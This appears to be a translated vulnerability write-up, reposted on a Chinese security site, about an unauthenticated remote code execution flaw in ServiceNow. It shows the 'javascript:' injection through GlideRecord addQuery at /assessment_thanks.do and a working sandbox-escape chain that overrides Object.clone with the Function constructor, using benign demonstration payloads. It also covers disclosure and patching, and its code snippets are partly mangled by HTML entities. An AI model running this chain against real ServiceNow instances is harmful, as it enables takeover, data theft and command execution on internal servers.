攻破ServiceNow沙箱——身份验证前远程代码执行

admin 2026-07-20 04:23:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了ServiceNow平台中一个无需身份验证的远程代码执行漏洞。攻击者可通过GlideRecordAPI的addQuery方法注入javascript:前缀代码,并利用脚本包含机制中的函数覆盖技巧逃逸沙箱限制,最终完全控制实例及代理服务器。建议用户关注官方安全更新并限制未授权访问。 综合评分: 89 文章分类: 漏洞分析,恶意软件,威胁情报,红队,WEB安全


cover_image

攻破 ServiceNow 沙箱——身份验证前远程代码执行

Ots安全

2026年7月19日 19:39 广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

这篇博文是我们探讨 ServiceNow 中身份验证前脚本执行安全漏洞的第二篇。如果您还没有看过第一篇(其中包含一些背景信息), 你可以在这里阅读。。

在近两年前发现第一个身份验证前关键漏洞,并对 ServiceNow 架构有了更深入的了解之后,我们决定重新审视代码库,并将精力集中在另一个方面。最终,我们发现了一个完全无需身份验证的远程代码执行 (RCE) 漏洞,该漏洞能够完全控制 ServiceNow 实例以及所有连接的代理服务器。

ServiceNow不仅提供自己的表和ACL系统,还提供自己的查询API,称为“GlideRecord系统”。该API不仅在Java后端(通过直接使用类GlideRecord)中使用,还在UI页面中通过JS脚本接口使用。由于未经信任和身份验证的用户数据会在整个代码库中被传递到该函数,因此任何数据处理方面的漏洞都可能造成严重后果。

但首先,让我们来了解一下这个 API 的工作原理。

简介GlideRecord

GlideRecord提供了一个用于查询 ServiceNow 表的构建器界面。与 SQL 不同,它没有底层文本查询语言;JS 和 Java API 是查询 ServiceNow 表的唯一方法,而实际的查询本身是抽象化的(ServiceNow 默认在底层使用 MariaDB,但这永远不会向用户公开)。

一个简单的查询可能如下所示:

var gr = new GlideRecord('sys_user');

gr.addQuery('active', 'true');
gr.addQuery('email', '>', 'walter');

gr.query();

while (gr.next()) {
  gs.print(gr.user_name + ' : ' + gr.email);
}

这条查询语句的意思是提取sys_user表中所有满足条件active为真且邮箱地址按字母顺序排在后面的行walter。实际上,我们得到了如下列表:

walton.schwallie : [email protected]
warren.hacher : [email protected]
warren.speach : [email protected]
wayne.webb : [email protected]
wes.fontanella : [email protected]
wilfredo.gidley : [email protected]
willa.dutt : [email protected]
willard.roughen : [email protected]
william.mahmud : [email protected]
wilmer.constantineau : [email protected]
winnie.reich : [email protected]
yvette.kokoska : [email protected]
zackary.mockus : [email protected]
zane.sulikowski : [email protected]

即使在身份验证之前,这些调用也经常addQuery包含用户输入。例如,以下代码并不罕见(示例来源system_properties_category_access.xml):

var categoryGR = new GlideRecord("sys_properties_category");
categoryGR.addQuery("name", new GlideStringUtil().split(jelly.sysparm_category));
categoryGR.query();

这里用户提供的值sysparm_category直接传递给addQuery调用。

我们尝试了显而易见的注入方法(单引号、双引号、反斜杠、空字节),但都没有成功注入,所以我们转而查阅文档,看看是否有任何我们可以利用的奇怪行为来进行攻击。

危险行为

浏览列表时运算符和过滤器以下示例查询适用于 ServiceNow 查询,其中我们注意到:

sla_due<javascript:gs.daysAgoStart(0)

这是筛选查询语法,但javascript:此处的用法似乎有些可疑。然而,流入结构化 API 的用户数据肯定不允许执行 JavaScript 代码吧?我们来测试一下:

var&nbsp;gr =&nbsp;new&nbsp;GlideRecord('sys_user');

gr.addQuery('active',&nbsp;'true');
gr.addQuery('email',&nbsp;'>',&nbsp;"javascript:'wal' + 'ter'");

gr.query();

while&nbsp;(gr.next()) {
&nbsp; gs.print(gr.user_name +&nbsp;' : '&nbsp;+ gr.email);
}

// walton.schwallie : [email protected]
// warren.hacher : [email protected]
// ...

它奏效了!ServiceNow 会解析 JS 字符串’wal’ + ‘ter’以获取结果’walter’,然后将其作为参数传递给查询。我们没想到它能正常工作,这真是太棒了,因为有很多预认证环节都可以利用这种方法。我们四处查找,发现第一个在所有版本中都支持预认证的环节是assessment_thanks.do:

var&nbsp;metricGR =&nbsp;new&nbsp;GlideRecord("asmt_metric_type");
metricGR.addQuery('sys_id', jelly.sysparm_assessable_type);
metricGR.query();

这是一个简单的接收器,它接受一个参数sysparm_assessable_type。为了测试我们是否拥有脚本控制权,我们访问了该地址/assessment_thanks.do?sysparm_assessable_type=javascript:gs.addErrorMessage(1)。我们预期会弹出一条错误消息,但什么也没发生。为什么?

经过进一步调查和调试,我们发现gs这是一个实例,GlideSystemSandbox而不是GlideSystem。实际上,ServiceNow 已经考虑到了这种攻击途径,并引入了用户提供的过滤器必须置于严格的脚本沙箱中。为了进一步升级这个漏洞并获得完全控制权,我们必须逃离这个沙箱。

了解 ServiceNow 沙箱

我们在上一篇博文中简要讨论了 JS 沙箱。为了更清楚地说明,ServiceNow 中有两级脚本沙箱:

在 ServiceNow 中执行的每个 JS 脚本,无论您的权限是低级还是管理员,都会受到沙箱机制的约束。该机制定义了一个允许调用的函数列表,并严格控制您可以实例化的 Java 类。其主要目的是防止从其他租户读取数据或直接访问文件系统。虽然此沙箱机制非常强大,但在此框架内执行操作基本上等同于管理员权限;您可以读取配置文件、访问大多数表,并在已配置的 MID 服务器上运行命令。

另一方面,某些输入源(例如过滤器)会使用额外的沙箱机制运行。文档中称之为脚本沙箱,这种额外的安全措施会更严格地控制您可以执行的操作。仅仅在这个额外的沙箱下执行脚本,并不会导致实例遭到任何实质性的破坏。文档列出了这个额外沙箱环境的一些限制。

根据实验结果,似乎:

  • 主要gs对象通常有很多强大或危险的方法,但受到很大限制。
  • 暴露的 Java 类非常少,而且即使暴露,对攻击者来说也没有什么实际用处。例如,我们之前漏洞利用中使用的 SecurelyAccessandSNCProbe类在这个额外的沙箱中并没有暴露。
  • 沙箱内的表访问权限为只读,并受到严格的访问控制列表 (ACL) 限制。由于我们是以未经身份验证的用户身份运行这些查询,因此在配置合理的实例中,我们无法从表读取任何数据。
  • eval禁止这样new Function(…)()做,也禁止使用函数。function x(){…}

为什么eval不允许这样做?阅读源代码后发现,通过 $(function() { ... }) 运行任何代码eval都会new Function不受额外沙箱的限制。这意味着调用 $(function() { ... })eval会轻易绕过沙箱,因此被禁止。

一个仍然允许使用的值得注意的功能是 gs.include()function。它用于访问“脚本包含”——ServiceNow 预装的函数库。例如,该UtilScript库如下所示:

var&nbsp;UtilScript = Class.create();
UtilScript.prototype = {
&nbsp; &nbsp;&nbsp;initialize:&nbsp;function()&nbsp;{},

&nbsp; &nbsp;&nbsp;getTables:&nbsp;function(tableName)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;tableUtil =&nbsp;new&nbsp;global.TableUtils(tableName);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;tableArr = j2js(tableUtil.getTables());
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;tableArr;
&nbsp; &nbsp; },

&nbsp; &nbsp;&nbsp;// ...

}

运行gs.include(‘UtilScript’)此脚本后,其中定义的函数将在全局范围内可用。

逃离沙盒

如果你仔细思考一下上一节中提出的事实,你可能会产生一个疑问——脚本包含机制究竟是如何工作的?我们知道,在沙盒环境中,我们无法定义函数:

functionx(){}

// Evaluator.evaluateString() problem: java.lang.SecurityException: Invalid function definition: org.mozilla.javascript.Parser.function(Parser.java:907)
// org.mozilla.javascript.Parser.parse(Parser.java:679)
// org.mozilla.javascript.Parser.parse(Parser.java:645)
// ...

但是,如果我们通过引入函数库gs.include(),就不会出现这个错误。我们可以追踪到负责实现该错误的 Java 代码ASystemInclude.includeScript:

publicboolean&nbsp;includeScript(String&nbsp;tableName, IPackageScope scope,&nbsp;String&nbsp;name,&nbsp;String&nbsp;script,&nbsp;String&nbsp;sysId,&nbsp;String&nbsp;access, ARhinoScope.JSLevel jsLevel,&nbsp;boolean&nbsp;isClientCallable) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// <snip> ...
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;(GlideScriptIncludeMetaGenerator ignored =&nbsp;new&nbsp;GlideScriptIncludeMetaGenerator((IObjectMeta)meta, Context.getCurrentContext());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ICallChainTracker tracker =&nbsp;this.getTracker(tableName, scopeId, sysId);){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; prevIncludeStatus = RhinoEnvironment.setIncludeStatus();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IEvaluator e =&nbsp;new&nbsp;EvaluatorFactory().getEvaluator();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;scriptFieldId = scriptID +&nbsp;".script";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.evaluateString(script, (Scriptable)scope, scriptFieldId,&nbsp;false);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;catch&nbsp;(Throwable throwable) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RhinoEnvironment.restoreIncludeStatus(prevIncludeStatus);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;throwable;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; RhinoEnvironment.restoreIncludeStatus((Object)prevIncludeStatus);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// <snip> ...
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returntrue;
&nbsp; &nbsp; }

实际上,ServiceNow 会创建一个新的上下文来执行脚本包含,该上下文不受相同的沙箱约束。这使得函数能够正确加载,但也意味着任何包含的函数都会在非沙箱环境下运行。如果任何可从我们的上下文调用的包含函数包含用户可控eval调用或类似操作,我们就可以逃逸沙箱并访问任何我们想要的 Glide 类。遗憾的是,并不存在这样的函数,因此我们需要另辟蹊径。

远距离惊悚动作

因此,在包含函数的环境中,没有任何限制。然而,在我们的代码中,却存在诸多限制。有没有办法可以不受限制地影响代码的运行呢?答案是肯定的!任何调用全局函数的函数都可以被重写。例如,以下是我从包含列表中随机选取的一段代码:

var&nbsp;AuthenticationHelper = Class.create();
AuthenticationHelper.prototype =&nbsp;Object.extendsObject(AbstractAjaxProcessor, {
&nbsp; &nbsp; getInstanceURL:&nbsp;function()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;SNC.AuthenticationHelper.getInstanceURL();
&nbsp; &nbsp; },
&nbsp; &nbsp;&nbsp;type:&nbsp;'AuthenticationHelper'
});

Class.create该值已存在于全局作用域中,但如果我覆盖它create,则会得到以下结果:

Class.create =&nbsp;123;
gs.include('AuthenticationHelper');
//TypeError:&nbsp;Class.create is&nbsp;not&nbsp;a function

因为我们重写了 <T> Class.create,这意味着当我们包含 <T> 时AuthenticationHelper,它会尝试执行类似 <T> 的操作var AuthenticationHelper = 123();,从而导致错误。这本身并不危险,但表明我们对未沙盒化的源代码拥有一定程度的控制权。

我们的目标是找到一个能调用等效功能的工具Function(code)(),但这需要多个步骤。首先,该工具Function已被屏蔽。另一个工具constructor也被屏蔽了:

gs.print(escape.constructor)
// Security restricted: Sandbox: using Function&nbsp;is&nbsp;restricted by security policy!

虽然我们很快发现,如果从包含文件中获取函数,constructor则不会被阻塞;但我选择了Class.create:

gs.print(Class.create.constructor)
// function Function() {
// [native code]
// }

但我们仍然无法执行它:

Class.create.constructor('1+1')&nbsp;// Invalid function definition

创建函数的控制更为严格。我们不仅不能在沙箱内部创建函数,也不能在包含的函数内部创建函数。函数只能在进程运行时创建gs.include。

在搜索了沙盒中所有可用的包含项之后,有一点特别突出:用于创建“类”的结构通常是:

var&nbsp;ItemViewElementsProvider = Class.create();
ItemViewElementsProvider.prototype =&nbsp;Object.extendsObject(AbstractAjaxProcessor, {
&nbsp; &nbsp;&nbsp;/* ... SNIP ... */
&nbsp; &nbsp;&nbsp;type:&nbsp;'ItemViewElementsProvider'
});

其中Object.extendsObject,被定义为 polyfill:

Object.extendsObject =&nbsp;function(destination, source)&nbsp;{
&nbsp; destination =&nbsp;Object.clone(destination.prototype);

for&nbsp;(var&nbsp;property&nbsp;in&nbsp;source) {
&nbsp; &nbsp; destination[property] = source[property];
&nbsp; }
return&nbsp;destination;
}

Object.clone =&nbsp;function(obj)&nbsp;{
var&nbsp;clone = Class.create();

for&nbsp;(var&nbsp;property&nbsp;in&nbsp;obj) {
&nbsp; &nbsp; clone[property] = obj[property];
&nbsp; }

return&nbsp;clone;
}

经过一番思考,我们意识到这正是我们需要的!该调用Object.clone(destination.prototype)既包含一个我们可以重写的函数(Object.clone),也包含一个我们可以完全控制的参数(AbstractAjaxProcessor.prototype)。

我们可以修改全局环境来“强制”执行我们的函数。如果 Object.cloneis 是Function构造函数,AbstractAjaxProcessor.prototypeis 是我们的代码,那么执行 isgs.include(‘ItemViewElementsProvider’)实际上会执行 is ItemViewElementsProvider.prototype = Function(code)。

还有一个问题,那就是它Object.clone被冻住了:

Object.clone&nbsp;=&nbsp;123;&nbsp;// Cannot modify a property of a sealed object: clone

不过,我们可以通过以下方法解决这个问题Object.defineProperty。综合所有步骤,这将使它脱离沙盒限制:

Object.defineProperty(Object,&nbsp;'clone', {value: Class.create.constructor});
Object.defineProperty(AbstractAjaxProcessor,&nbsp;'prototype', {value:&nbsp;"GlideController().evaluateAsObject('gs.addInfoMessage(7*7)')"});
gs.include('ItemViewElementsProvider');
ItemViewElementsProvider.prototype();

让我们一起来分析一下发生了什么:

  • 这里Class.create.constructor是Function,所以我们正在设置Object.clone = Function。
  • 然后我们设置AbstractAjaxProcessor.prototype有效载荷GlideController().evaluateAsObject(‘gs.addInfoMessage(7*7)’)。
  • 当我们这样做时gs.include(‘ItemViewElementsProvider’);,它会调用Object.extendsObject(AbstractAjaxProcessor, {…}),然后又会调用Object.clone(destination.prototype)。
  • 这会调用一个函数Function(“GlideController().evaluateAsObject(‘gs.addInfoMessage(7*7)’)”),然后该函数会作为返回值返回给我们。ItemViewElementsProvider.prototype
  • 然后我们可以调用ItemViewElementsProvider.prototype()来执行返回的函数。

通过将有效载荷更改为我们想要的任何字符串,我们可以验证非沙盒执行(这里使用略有不同的有效载荷):

成功!

结论

此次漏洞的影响与我们之前的漏洞基本相同。通过对 Rhino 引擎的访问权限,我们可以随意从任何表中提取任何数据,并随意创建管理员用户。我们还可以对任何已配置的代理服务器(通常位于公司内部网络中)运行 shell 命令。

我们于 2026 年 4 月 1 日向 ServiceNow 报告了此问题(这可不是愚人节玩笑!)。一如既往,ServiceNow 的合作非常出色,在收到报告后的 24 小时内,他们就对所有云实例部署了强有力的缓解措施。作为一项紧急措施,ServiceNow 更新了所有实例,以防止关键 JavaScript 函数被修改。随后几周,ServiceNow 又发布了补丁程序来修复根本问题。该问题已分配给相关负责人。CVE-2026-6875。

此外,ServiceNow 正在通过严格限制可在沙箱环境中运行的代码类型来增强实例安全性。有关受保护脚本的完整详细信息,请参阅[此处]。KB2944435受保护的脚本仅接受一个简单的表达式。以下 JavaScript 功能在沙箱中不受支持:

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《攻破 ServiceNow 沙箱——身份验证前远程代码执行》

评论:0   参与:  0